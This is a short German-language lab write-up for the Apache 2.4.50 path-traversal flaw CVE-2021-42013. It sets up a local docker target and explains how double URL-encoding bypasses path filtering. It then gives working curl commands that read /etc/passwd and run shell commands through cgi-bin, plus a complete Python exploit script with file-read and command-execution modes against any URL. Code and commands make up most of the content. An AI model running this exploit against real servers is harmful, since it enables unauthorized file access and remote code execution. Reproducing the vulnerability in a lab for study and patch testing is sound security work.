
Mitwirkender
Ein Fehler in der Pfadnormalisierung des Apache HTTP Server 2.4.50 ermöglicht es, ohne Authentifizierung beliebige Dateien zu lesen oder entfernten Code auszuführen.
Er wurde durch einen unvollständigen Patch für CVE-2021-41773 verursacht und umgeht die Pfadblockierung von Apache durch doppelte URL-Kodierung (%%32%65).
Damit CVE-2021-42013 funktioniert, müssen die folgenden Bedingungen erfüllt sein.
docker-compose up -d
Um zu prüfen, ob die Testumgebung läuft, führe den folgenden Befehl aus:
docker-compose ps

Wenn der Server ordnungsgemäß läuft, ist http://localhost:8080 erreichbar.
Um in übergeordnete Verzeichnisse zu wechseln, wird ../ verwendet, aber Apache blockiert diese Zeichen. Um das zu umgehen, kann stattdessen der kodierte Wert 2e für . verwendet werden. Apache 2.4.50 dekodiert die %2e-Kodierung, bevor es prüft, daher wird %2e2e wie ../ blockiert. Deshalb muss eine doppelte Kodierung mit %%32%65 verwendet werden, um diese Filterung zu umgehen.
curl -s --path-as-is "http://localhost:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"

In einer CGI-fähigen Umgebung kann der letzte Teil zu /bin/sh geändert werden, wodurch RCE möglich wird.
curl -s --path-as-is -X POST \
--data "echo Content-Type: text/plain; echo; id; uname -a" \
"http://localhost:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"

#!/usr/bin/env python3
import sys
import http.client
from urllib.parse import urlparse
def exploit(target_url, mode, arg):
parsed = urlparse(target_url)
host = parsed.hostname
port = parsed.port or 80
trav = "%%32%65%%32%65/" * 4
if mode == "read":
path = f"/static/{trav}{arg}"
conn = http.client.HTTPConnection(host, port, timeout=5)
conn.request("GET", path)
else:
path = f"/cgi-bin/{trav}bin/sh"
body = f"echo Content-Type: text/plain; echo; {arg}"
conn = http.client.HTTPConnection(host, port, timeout=5)
conn.request("POST", path, body=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
result = conn.getresponse().read().decode("utf-8", "replace")
conn.close()
return result
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"사용법: {sys.argv[0]} <url> <read|exec> <arg>")
sys.exit(1)
print(exploit(sys.argv[1], sys.argv[2], sys.argv[3]))

docker-compose down